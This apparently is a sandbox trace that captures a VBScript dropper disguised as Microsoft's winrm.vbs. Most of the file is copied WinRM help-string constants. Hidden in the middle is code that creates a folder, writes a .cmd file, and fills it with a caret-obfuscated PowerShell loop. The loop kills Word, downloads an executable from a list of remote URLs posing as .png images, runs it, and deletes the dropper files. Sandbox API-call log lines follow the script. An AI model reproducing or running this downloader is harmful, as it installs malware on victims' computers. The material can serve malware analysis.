http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=WinRM\"\r\nprivate const L_HelpAlias_013_0_Message = \"\"\r\nprivate const L_HelpAlias_014_0_Message = \"Example: using alias:\"\r\nprivate const X_HelpAlias_015_0_Message = \" winrm get wmicimv2/Win32_Service?Name=WinRM\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - URIS\r\nprivate const L_HelpUris_001_0_Message = \"Universal Resource Identifiers (URI) specify management resources to be\"\r\nprivate const L_HelpUris_002_0_Message = \"used for operations.\"\r\nprivate const L_HelpUris_003_0_Message = \"\"\r\nprivate const L_HelpUris_004_0_Message = \"Selectors and values are passed after the URI in the form:\"\r\nprivate const X_HelpUris_005_0_Message = \" RESOURCE_URI?NAME=VALUE[+NAME=VALUE]...\"\r\nprivate const L_HelpUris_006_0_Message = \"\"\r\nprivate const L_HelpUris_007_0_Message = \"URIs for all information in WMI are of the following form:\"\r\nprivate const X_HelpUris_008_0_Message = \" WMI path = \\\\root\\NAMESPACE[\\NAMESPACE]\\CLASS\"\r\nprivate const X_HelpUris_009_0_Message = \" URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/NAMESPACE[/NAMESPACE]/CLASS\"\r\nprivate const X_HelpUris_010_0_Message = \" ALIAS = wmi/root/NAMESPACE[/NAMESPACE]/CLASS\"\r\nprivate const L_HelpUris_011_0_Message = \"\"\r\nprivate const L_HelpUris_012_0_Message = \"Example: Get information about WinRM service from WMI using single selector\"\r\nprivate const X_HelpUris_013_0_Message = \" WMI path = \\\\root\\cimv2\\Win32_Service\"\r\nprivate const X_HelpUris_013_1_Message = \" URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=WinRM\"\r\nprivate const X_HelpUris_014_0_Message = \" ALIAS = wmi/root/cimv2/Win32_Service?Name=WinRM\"\r\nprivate const L_HelpUris_015_0_Message = \"\"\r\nprivate const L_HelpUris_015_1_Message = \"When enumerating WMI instances using a WQL filter,\"\r\nprivate const L_HelpUris_015_2_Message = \"the CLASS must be \"\"*\"\" (star) and no selectors should be specified.\"\r\nprivate const L_HelpUris_015_3_Message = \"Example:\"\r\nprivate const X_HelpUris_015_4_Message = \"URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/*\"\r\nprivate const L_HelpUris_015_5_Message = \"\"\r\nprivate const L_HelpUris_015_6_Message = \"When accesing WMI singleton instances, no selectors should be specified.\"\r\nprivate const L_HelpUris_015_7_Message = \"Example:\"\r\nprivate const X_HelpUris_015_8_Message = \"URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service\"\r\nprivate const L_HelpUris_015_9_Message = \"\"\r\nprivate const L_HelpUris_016_0_Message = \"Note: Some parts of RESOURCE_URI may be case-sensitive. When using create or\"\r\nprivate const L_HelpUris_017_0_Message = \"invoke, the last part of the resource URI must match case-wise the top-level\"\r\nprivate const L_HelpUris_018_0_Message = \"element of the expected XML.\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CONFIG\r\nprivate const L_HelpConfig_001_0_Message = \"Configuration for WinRM is managed using the winrm command line or through GPO.\"\r\nprivate const L_HelpConfig_002_0_Message = \"Configuration includes global configuration for both the client and service.\"\r\nprivate const L_HelpConfig_003_0_Message = \"\"\r\nprivate const L_HelpConfig_004_0_Message = \"The WinRM service requires at least one listener to indicate the IP address(es)\"\r\nprivate const L_HelpConfig_005_0_Message = \"on which to accept WS-Management requests. For example, if the machine has \"\r\nprivate const L_HelpConfig_006_0_Message = \"multiple network cards, WinRM can be configured to only accept requests from\"\r\nprivate const L_HelpConfig_007_0_Message = \"one of the network cards.\"\r\nprivate const L_HelpConfig_008_0_Message = \"\"\r\nprivate const L_HelpConfig_009_0_Message = \"Global configuration\"\r\nprivate const X_HelpConfig_010_0_Message = \" winrm get winrm/config\"\r\nprivate const X_HelpConfig_011_0_Message = \" winrm get winrm/config/client\"\r\nprivate const X_HelpConfig_012_0_Message = \" winrm get winrm/config/service\"\r\nprivate const X_HelpConfig_012_1_Message = \" winrm enumerate winrm/config/resource\"\r\nprivate const X_HelpConfig_012_2_Message = \" winrm enumerate winrm/config/listener\"\r\nprivate const X_HelpConfig_012_3_Message = \" winrm enumerate winrm/config/plugin\"\r\nprivate const X_HelpConfig_012_4_Message = \" winrm enumerate winrm/config/service/certmapping\"\r\nprivate const L_HelpConfig_013_0_Message = \"\"\r\nprivate const L_HelpConfig_014_0_Message = \"Network listening requires one or more listeners. \"\r\nprivate const L_HelpConfig_015_0_Message = \"Listeners are identified by two selectors: Address and Transport.\"\r\n\r\nprivate const L_HelpConfigAddress_001_0_Message = \"Address must be one of:\"\r\nprivate const L_HelpConfigAddress_002_0_Message = \" * - Listen on all IPs on the machine \"\r\nprivate const L_HelpConfigAddress_003_0_Message = \" IP:1.2.3.4 - Listen only on the specified IP address\"\r\nprivate const L_HelpConfigAddress_004_0_Message = \" MAC:... - Listen only on IP address for the specified MAC\"\r\nprivate const L_HelpConfigAddress_005_0_Message = \"\"\r\nprivate const L_HelpConfigAddress_006_0_Message = \"Note: All listening is subject to the IPv4Filter and IPv6Filter under \"\r\nprivate const L_HelpConfigAddress_007_0_Message = \"config/service.\"\r\nprivate const L_HelpConfigAddress_008_0_Message = \"Note: IP may be an IPv4 or IPv6 address.\"\r\n\r\nprivate const L_HelpConfigTransport_001_0_Message = \"Transport must be one of:\"\r\nprivate const L_HelpConfigTransport_002_0_Message = \" HTTP - Listen for requests on HTTP (default port is 5985)\"\r\nprivate const L_HelpConfigTransport_003_0_Message = \" HTTPS - Listen for requests on HTTPS (default port is 5986)\"\r\nprivate const L_HelpConfigTransport_004_0_Message = \"\"\r\nprivate const L_HelpConfigTransport_005_0_Message = \"Note: HTTP traffic by default only allows messages encrypted with \"\r\nprivate const L_HelpConfigTransport_006_0_Message = \"the Negotiate or Kerberos SSP.\"\r\nprivate const L_HelpConfigTransport_007_0_Message = \"\"\r\nprivate const L_HelpConfigTransport_008_0_Message = \"\"\r\nprivate const L_HelpConfigTransport_009_0_Message = \"When configuring HTTPS, the following properties are used:\"\r\nprivate const L_HelpConfigTransport_010_0_Message = \" Hostname - Name of this machine; must match CN in certificate.\"\r\nprivate const L_HelpConfigTransport_011_0_Message = \" CertificateThumbprint - hexadecimal thumbprint of certificate appropriate for\"\r\nprivate const L_HelpConfigTransport_012_0_Message = \" Server Authentication.\"\r\nprivate const L_HelpConfigTransport_013_0_Message = \"Note: If only Hostname is supplied, WinRM will try to find an appropriate\"\r\nprivate const L_HelpConfigTransport_014_0_Message = \"certificate.\"\r\n \r\nprivate const L_HelpConfigExamples_001_0_Message = \"Example: To listen for requests on HTTP on all IPs on the machine:\"\r\nprivate const X_HelpConfigExamples_002_0_Message = \" winrm create winrm/config/listener?Address=*+Transport=HTTP\"\r\nprivate const L_HelpConfigExamples_003_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_004_0_Message = \"Example: To disable a given listener\"\r\nprivate const X_HelpConfigExamples_005_0_Message = \" winrm set winrm/config/listener?Address=IP:1.2.3.4+Transport=HTTP @{Enabled=\"\"false\"\"}\"\r\nprivate const L_HelpConfigExamples_006_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_007_0_Message = \"Example: To enable basic authentication on the client but not the service:\"\r\nprivate const X_HelpConfigExamples_008_0_Message = \" winrm set winrm/config/client/auth @{Basic=\"\"true\"\"}\"\r\nprivate const L_HelpConfigExamples_009_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_010_0_Message = \"Example: To enable Negotiate for all workgroup machines.\"\r\nprivate const X_HelpConfigExamples_011_0_Message = \" winrm set winrm/config/client @{TrustedHosts=\"\"\"\"}\"\r\nprivate const L_HelpConfigExamples_012_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_013_0_Message = \"Example: To add an IPv4 and IPv6 host address to TrustedHosts.\"\r\nprivate const X_HelpConfigExamples_014_0_Message = \" winrm set winrm/config/client @{TrustedHosts=\"\"1.2.3.4,[1:2:3::8]\"\"}\"\r\nprivate const L_HelpConfigExamples_015_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_016_0_Message = \" Note: Computers in the TrustedHosts list might not be authenticated\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CertMapping\r\nprivate const L_HelpCertMapping_001_0_Message = \"Certificate mapping remote access to WinRM using client certificates is \"\r\nprivate const L_HelpCertMapping_002_0_Message = \"stored in the certificate mapping table identified by the \"\r\nprivate const L_HelpCertMapping_003_0_Message = \"following resource URI:\"\r\nprivate const L_HelpCertMapping_003_1_Message = \"\"\r\nprivate const L_HelpCertMapping_004_0_Message = \" winrm/config/service/CertMapping\"\r\nprivate const L_HelpCertMapping_005_0_Message = \"\"\r\nprivate const L_HelpCertMapping_006_0_Message = \"Each entry in this table contains five properties:\"\r\nprivate const L_HelpCertMapping_007_0_Message = \" Issuer - Thumbprint of the issuer certificate.\"\r\nprivate const L_HelpCertMapping_008_0_Message = \" Subject - Subject field of client certificate.\"\r\nprivate const L_HelpCertMapping_009_0_Message = \" URI - The URI or URI prefix for which this mapping applies.\"\r\nprivate const L_HelpCertMapping_009_1_Message = \" Username - Local username for processing the request.\"\r\nprivate const L_HelpCertMapping_009_2_Message = \" Password - Local password for processing the request.\"\r\nprivate const L_HelpCertMapping_009_3_Message = \" Enabled - Use in processing if true.\"\r\nprivate const L_HelpCertMapping_010_0_Message = \" \"\r\nprivate const L_HelpCertMapping_011_0_Message = \"For a client certificate to be applicable, the issuer certificate must be \"\r\nprivate const L_HelpCertMapping_012_0_Message = \"available locally and match the thumbprint in the entry Issuer property\"\r\nprivate const L_HelpCertMapping_012_1_Message = \"\"\r\nprivate const L_HelpCertMapping_012_2_Message = \"For a client certificate to be applicable, its DNS or Principal name \"\r\nprivate const L_HelpCertMapping_013_0_Message = \"(from the SubjectAlternativeName field) must match the Subject property.\"\r\nprivate const L_HelpCertMapping_014_0_Message = \"The value can start with a '*' wildcard.\"\r\nprivate const L_HelpCertMapping_014_1_Message = \"The URI identifies for which resources the indicated client certificates .\"\r\nprivate const L_HelpCertMapping_014_2_Message = \"should be mapped.\"\r\nprivate const L_HelpCertMapping_014_3_Message = \"The value can end with a '*' wildcard.\"\r\nprivate const L_HelpCertMapping_014_4_Message = \"\"\r\n\r\n\r\n\r\nset filesys=CreateObject(\"Scripting.FileSystemObject\")\r\nIf Not filesys.FolderExists(\"c:\\BlotRots\") Then\r\nfilesys.CreateFolder (\"c:\\BlotRots\")\r\nEnd If\r\n\r\ntytutop = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ... \")\r\ntytutop1 = (\" \")\r\ntytutop2 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\")\r\ntytutop3 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\")\r\ntytutop4 = (\" \")\r\ntytutop5 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \")\r\ntytutop6 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \")\r\ntytutop7 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \")\r\ntytutop8 = (\" \")\r\ntytutop9 = (\" XP and is listed separately on this page. Synta \")\r\ntytutop0 = (\" \")\r\n\r\n\r\n\r\ne13 = (\"Taskkill /IM \"\"winword.exe\"\" /F\")\r\na1 = (\"POW^\")\r\na2 = (\"erS^\")\r\na3 = (\"hell ^\")\r\na4 = (\"Forea^\")\r\na5 = (\"ch($ur^\")\r\na6 = (\"l in^\")\r\na7 = (\" @('^\")\r\na8 = (\"http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\")\r\na9 = (\"','^\")\r\na10 = (\"http://marineworks.eu/dwaunrsamlbq/111111.png^\")\r\na11 = (\"')) { tr^\")\r\na12 = (\"y{$pat^\")\r\na15 = (\"h = 'C:\\BlotRots\\Loterios.exe'; ^\")\r\na16 = (\"(Ne^\")\r\na17 = (\"w-Obje^\")\r\na18 = (\"ct Ne^\")\r\na19 = (\"t.We^\")\r\na20 = (\"bCli^\")\r\na21 = (\"ent).Down^\")\r\na22 = (\"loadF^\")\r\na23 = (\"ile(^\")\r\na24 = (\"$ur^\")\r\na25 = (\"l.ToSt^\")\r\na26 = (\"ring^\")\r\nb1 = (\"(), $p^\")\r\nb2 = (\"ath)^\")\r\nb3 = (\";sa^\")\r\nb4 = (\"ps $p^\")\r\nb5 = (\"ath; br^\")\r\nb6 = (\"eak;}c^\")\r\nb7 = (\"atc^\")\r\nb8 = (\"h{wri^\")\r\nb9 = (\"te-ho^\")\r\nb10 = (\"st $_.E^\")\r\nb11 = (\"xcep^\")\r\nb12 = (\"tio^\")\r\nb13 = (\"n.Me^\")\r\nb14 = (\"ssa^\")\r\nb15 = (\"ge}}\")\r\nWait = (\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\")\r\n\r\n\r\nSet fer23 = filesys.OpenTextFile(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\" & c, 8, True)\r\nfer23.WriteLine tytutop\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\n\r\nfer23.WriteLine e13\r\nfer23.WriteLine a1\r\nfer23.WriteLine a2\r\nfer23.WriteLine a3\r\nfer23.WriteLine a4\r\nfer23.WriteLine a5\r\nfer23.WriteLine a6\r\nfer23.WriteLine a7\r\nfer23.WriteLine a8\r\nfer23.WriteLine a9\r\nfer23.WriteLine a10\r\nfer23.WriteLine a11\r\nfer23.WriteLine a12\r\nfer23.WriteLine a15\r\nfer23.WriteLine a16\r\nfer23.WriteLine a17\r\nfer23.WriteLine a18\r\nfer23.WriteLine a19\r\nfer23.WriteLine a20\r\nfer23.WriteLine a21\r\nfer23.WriteLine a22\r\nfer23.WriteLine a23\r\nfer23.WriteLine a24\r\nfer23.WriteLine a25\r\nfer23.WriteLine a26\r\nfer23.WriteLine b1\r\nfer23.WriteLine b2\r\nfer23.WriteLine b3\r\nfer23.WriteLine b4\r\nfer23.WriteLine b5\r\nfer23.WriteLine b6\r\nfer23.WriteLine b7\r\nfer23.WriteLine b8\r\nfer23.WriteLine b9\r\nfer23.WriteLine b10\r\nfer23.WriteLine b11\r\nfer23.WriteLine b12\r\nfer23.WriteLine b13\r\nfer23.WriteLine b14\r\nfer23.WriteLine b15\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine Wait\r\nfer23.close\r\n\r\nDim oShell : Set oShell = CreateObject(\"WScript.Shell\")\r\n\r\n\r\nWScript.Sleep 7000\r\n\r\n\r\noShell.Run \"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", 0, 0\r\nSet WshShell = Nothing\r\n\r\nprivate const L_HelpCertMapping_015_0_Message = \"If the client certificate matches the entry and it is enabled, the \"\r\nprivate const L_HelpCertMapping_016_0_Message = \"request is processed under the local account with the given username \"\r\n\r\nprivate const L_HelpCertMapping_017_0_Message = \"and password after ensuring that user has access to the resource as \"\r\nprivate const L_HelpCertMapping_018_0_Message = \"defined by the URI security table.\"\r\nprivate const L_HelpCertMapping_019_0_Message = \"\"\r\n\r\nprivate const L_HelpCertMapping_020_0_Message = \"When creating a new entry or changing the password of an existing entry, \"\r\nprivate const L_HelpCertMapping_021_0_Message = \"the -r switch must be used since the WinRM service must store the password\"\r\nprivate const L_HelpCertMapping_022_0_Message = \"for future use.\"\r\n\r\n\r\nprivate const L_HelpCertMappingExamples_001_0_Message = \"Example: To see the current CertMapping configuration\"\r\nprivate const X_HelpCertMappingExamples_002_0_Message = \" winrm enumerate winrm/config/service/CertMapping\"\r\n\r\nprivate const L_HelpCertMappingExamples_003_0_Message = \"Example: Create a CertMapping entry:\"\r\nprivate const X_HelpCertMappingExamples_004_0_Message = \" winrm create winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/* @{UserName=\"\"USERNAME\"\";Password=\"\"PASSWORD\"\"} -remote:localhost\"\r\nprivate const L_HelpCertMappingExamples_005_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CONFIGSDDL\r\nprivate const L_HelpConfigsddl_000_1_Message = \" winrm configsddl RESOURCE_URI\"\r\nprivate const L_HelpConfigsddl_001_0_Message = \"\"\r\nprivate const L_HelpConfigsddl_002_0_Message = \"Changes an existing entry in the plugin configuration to \"\r\nprivate const L_HelpConfigsddl_002_1_Message = \"control remote access to WinRM resources.\"\r\nprivate const L_HelpConfigsddl_003_0_Message = \"This command will fail if the plugin does not exist.\"\r\nprivate const L_HelpConfigsddl_004_0_Message = \"\"\r\nprivate const L_HelpConfigsddl_005_0_Message = \"This command will launch a GUI to edit the security settings.\"\r\nprivate const L_HelpConfigsddl_005_1_Message = \"\"\r\nprivate const L_HelpConfigsddl_006_0_Message = \"RESOURCE_URI is always treated as a prefix.\"\r\nprivate const L_HelpConfigsddl_010_0_Message = \"\"\r\nprivate const L_HelpConfigsddl_011_0_Message = \"To change the default security (the RootSDDL setting) use:\"\r\nprivate const X_HelpConfigsddl_012_0_Message = \" winrm configsddl default\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - QUICKCONFIG\r\nprivate const X_HelpQuickConfig_001_0_Message = \"winrm quickconfig [-quiet] [-transport:VALUE] [-force]\"\r\nprivate const X_HelpQuickConfig_002_0_Message = \"\"\r\nprivate const L_HelpQuickConfig_003_0_Message = \"Performs configuration actions to enable this machine for remote management.\"\r\nprivate const L_HelpQuickConfig_004_0_Message = \"Includes:\"\r\nprivate const L_HelpQuickConfig_005_0_Message = \" 1. Start the WinRM service\"\r\nprivate const L_HelpQuickConfig_006_0_Message = \" 2. Set the WinRM service type to auto start\"\r\nprivate const L_HelpQuickConfig_007_0_Message = \" 3. Create a listener to accept request on any IP address\"\r\nprivate const L_HelpQuickConfig_008_0_Message = \" 4. Enable firewall exception for WS-Management traffic (for http only)\"\r\nprivate const X_HelpQuickConfig_009_0_Message = \"\"\r\nprivate const X_HelpQuickConfig_010_0_Message = \"-q[uiet]\"\r\nprivate const X_HelpQuickConfig_010_1_Message = \"--------\"\r\nprivate const L_HelpQuickConfig_011_0_Message = \"If present, quickconfig will not prompt for confirmation.\"\r\nprivate const X_HelpQuickConfig_012_0_Message = \"-transport:VALUE\"\r\nprivate const X_HelpQuickConfig_013_0_Message = \"----------------\"\r\nprivate const L_HelpQuickConfig_014_0_Message = \"Perform quickconfig for specific transport.\"\r\nprivate const L_HelpQuickConfig_015_0_Message = \"Possible options are http and https. Defaults to http.\"\r\nprivate const X_HelpQuickConfig_016_0_Message = \"-force\"\r\nprivate const X_HelpQuickConfig_017_0_Message = \"--------\"\r\nprivate const L_HelpQuickConfig_018_0_Message = \"If present, quickconfig will not prompt for confirmation, and will enable \"\r\nprivate const L_HelpQuickConfig_019_0_Message = \"the firewall exception regardless of current network profile settings.\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - REMOTE\r\nprivate const L_HelpRemote_001_0_Message = \"winrm OPERATION -remote:VALUE [-unencrypted] [-usessl]\"\r\nprivate const L_HelpRemote_002_0_Message = \"\"\r\nprivate const L_HelpRemote_003_0_Message = \"-r[emote]:VALUE\"\r\nprivate const L_HelpRemote_004_0_Message = \"---------------\"\r\nprivate const L_HelpRemote_005_0_Message = \"Specifies identifier of remote endpoint/system. \"\r\nprivate const L_HelpRemote_006_0_Message = \"May be a simple host name or a complete URL.\"\r\nprivate const L_HelpRemote_007_0_Message = \"\"\r\nprivate const L_HelpRemote_008_0_Message = \" [TRANSPORT://]HOST[:PORT][/PREFIX]\"\r\nprivate const L_HelpRemote_009_0_Message = \"\"\r\nprivate const L_HelpRemote_010_0_Message = \"Transport: One of HTTP or HTTPS; default is HTTP.\"\r\nprivate const L_HelpRemote_011_0_Message = \"Host: Can be in the form of a DNS name, NetBIOS name, or IP address.\"\r\nprivate const L_HelpRemote_012_0_Message = \"Port: If port is not specified then the following default rules apply:\"\r\nprivate const L_HelpRemote_013_0_Message = \"Prefix: Defaults to wsman.\"\r\nprivate const L_HelpRemote_014_0_Message = \"\"\r\nprivate const L_HelpRemote_015_0_Message = \"Note: IPv6 addresses must be enclosed in brackets.\"\r\nprivate const L_HelpRemote_016_0_Message = \"Note: When using HTTPS, the machine name must match the server's certificate\"\r\nprivate const L_HelpRemote_017_0_Message = \" common name (CN) unless -skipCNcheck is used.\"\r\nprivate const L_HelpRemote_018_0_Message = \"Note: Defaults for port and prefix can be changed in the local configuration.\"\r\n\r\nprivate const L_HelpRemoteExample_001_0_Message = \"Example: Connect to srv.corp.com via http:\"\r\nprivate const X_HelpRemoteExample_002_0_Message = \" winrm get uri -r:srv.corp.com\"\r\nprivate const L_HelpRemoteExample_003_0_Message = \"\"\r\nprivate const L_HelpRemoteExample_004_0_Message = \"Example: Connect to local computer machine1 via https:\"\r\nprivate const X_HelpRemoteExample_005_0_Message = \" winrm get uri -r:https://machine1\"\r\nprivate const L_HelpRemoteExample_006_0_Message = \"\"\r\nprivate const L_HelpRemoteExample_007_0_Message = \"Example: Connect to an IPv6 machine via http:\"\r\nprivate const X_HelpRemoteExample_008_0_Message = \" winrm get uri -r:[1:2:3::8]\"\r\nprivate const L_HelpRemoteExample_009_0_Message = \"\"\r\nprivate const L_HelpRemoteExample_010_0_Message = \"Example: Connect to an IPv6 machine via https on a non-default port and URL:\"\r\nprivate const X_HelpRemoteExample_011_0_Message = \" winrm get uri -r:https://[1:2:3::8]:444/path\"\r\n\r\nprivate const L_HelpRemoteUnencrypted_001_0_Message = \"-un[encrypted]\"\r\nprivate const L_HelpRemoteUnencrypted_002_0_Message = \"--------------\"\r\nprivate const L_HelpRemoteUnencrypted_003_0_Message = \"Specifies that no encryption will be used when doing remote operations over\"\r\nprivate const L_HelpRemoteUnencrypted_004_0_Message = \"HTTP. Unencrypted traffic is not allowed by default and must be enabled in\"\r\nprivate const L_HelpRemoteUnencrypted_005_0_Message = \"the local configuration.\"\r\n\r\nprivate const L_HelpRemoteConfig_001_0_Message = \"To enable this machine to be remotely managed see:\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - AUTH\r\nprivate const L_HelpAuth_001_0_Message = \"winrm OPERATION -remote:VALUE \"\r\nprivate const L_HelpAuth_002_0_Message = \" [-authentication:VALUE] \"\r\nprivate const L_HelpAuth_003_0_Message = \" [-username:USERNAME] \"\r\nprivate const L_HelpAuth_004_0_Message = \" [-password:PASSWORD]\"\r\nprivate const L_HelpAuth_004_1_Message = \" [-certificate:THUMBPRINT]\"\r\nprivate const L_HelpAuth_005_0_Message = \"\"\r\nprivate const L_HelpAuth_006_0_Message = \"When connecting remotely, you can specify which credentials and which\"\r\nprivate const L_HelpAuth_007_0_Message = \"authentication mechanisms to use. If none are specified the current \"\r\nprivate const L_HelpAuth_008_0_Message = \"logged-on user's credentials will be used.\"\r\n\r\nprivate const L_HelpAuthAuth_001_0_Message = \"-a[uthentication]:VALUE\"\r\nprivate const L_HelpAuthAuth_002_0_Message = \"-----------------------\"\r\nprivate const L_HelpAuthAuth_003_0_Message = \"Specifies authentication mechanism used when communicating with remote machine.\"\r\nprivate const L_HelpAuthAuth_004_0_Message = \"Possible options are None, Basic, Digest, Negotiate, Kerberos, CredSSP.\"\r\nprivate const L_HelpAuthAuth_004_1_Message = \"Possible options are None, Basic, Digest, Negotiate, Kerberos.\"\r\nprivate const L_HelpAuthAuth_005_0_Message = \"Examples:\"\r\nprivate const X_HelpAuthAuth_006_0_Message = \" -a:None\"\r\nprivate const X_HelpAuthAuth_007_0_Message = \" -a:Basic\"\r\nprivate const X_HelpAuthAuth_008_0_Message = \" -a:Digest\"\r\nprivate const X_HelpAuthAuth_009_0_Message = \" -a:Negotiate\"\r\nprivate const X_HelpAuthAuth_010_0_Message = \" -a:Kerberos\"\r\nprivate const X_HelpAuthAuth_010_1_Message = \" -a:Certificate\"\r\nprivate const X_HelpAuthAuth_010_2_Message = \" -a:CredSSP\"\r\nprivate const L_HelpAuthAuth_011_0_Message = \"Note: If an authentication mechanism is not specified, Kerberos is used unless\"\r\nprivate const L_HelpAuthAuth_012_0_Message = \" one of the conditions below is true, in which case Negotiate is used:\"\r\nprivate const L_HelpAuthAuth_013_0_Message = \" -explicit credentials are supplied and the destination host is trusted\"\r\nprivate const L_HelpAuthAuth_013_1_Message = \" -the destination host is \"\"localhost\"\", \"\"127.0.0.1\"\" or \"\"[::1]\"\"\"\r\nprivate const L_HelpAuthAuth_013_2_Message = \" -the client computer is in workgroup and the destination host is trusted\"\r\nprivate const L_HelpAuthAuth_014_0_Message = \"Note: Not all authentication mechanisms are enabled by default. ") returned 70045 [0146.204] UnmapViewOfFile (lpBaseAddress=0x249c8810000) returned 1 [0146.205] CloseHandle (hObject=0x190) returned 1 [0146.205] LoadLibraryExW (lpLibFileName="WLDP.DLL", hFile=0x0, dwFlags=0x800) returned 0x7ff9e3cd0000 [0146.217] GetProcAddress (hModule=0x7ff9e3cd0000, lpProcName="WldpGetLockdownPolicy") returned 0x7ff9e3cd1170 [0146.217] GetProcAddress (hModule=0x7ff9e3cd0000, lpProcName="WldpIsClassInApprovedList") returned 0x7ff9e3cd3bf0 [0146.217] WldpGetLockdownPolicy () returned 0x10000000 [0146.218] CloseHandle (hObject=0x18c) returned 1 [0146.218] GetSystemDirectoryA (in: lpBuffer=0xa3529deef8, uSize=0x0 | out: lpBuffer="") returned 0x14 [0146.218] malloc (_Size=0x22) returned 0x249c884a950 [0146.218] GetSystemDirectoryA (in: lpBuffer=0x249c884a950, uSize=0x15 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0146.218] strcpy_s (in: _Dst=0x249c884a963, _DstSize=0xf, _Src="\\" | out: _Dst="\\") returned 0x0 [0146.218] strcpy_s (in: _Dst=0x249c884a964, _DstSize=0xe, _Src="advapi32.dll" | out: _Dst="advapi32.dll") returned 0x0 [0146.218] LoadLibraryExA (lpLibFileName="C:\\WINDOWS\\system32\\advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ff9e79c0000 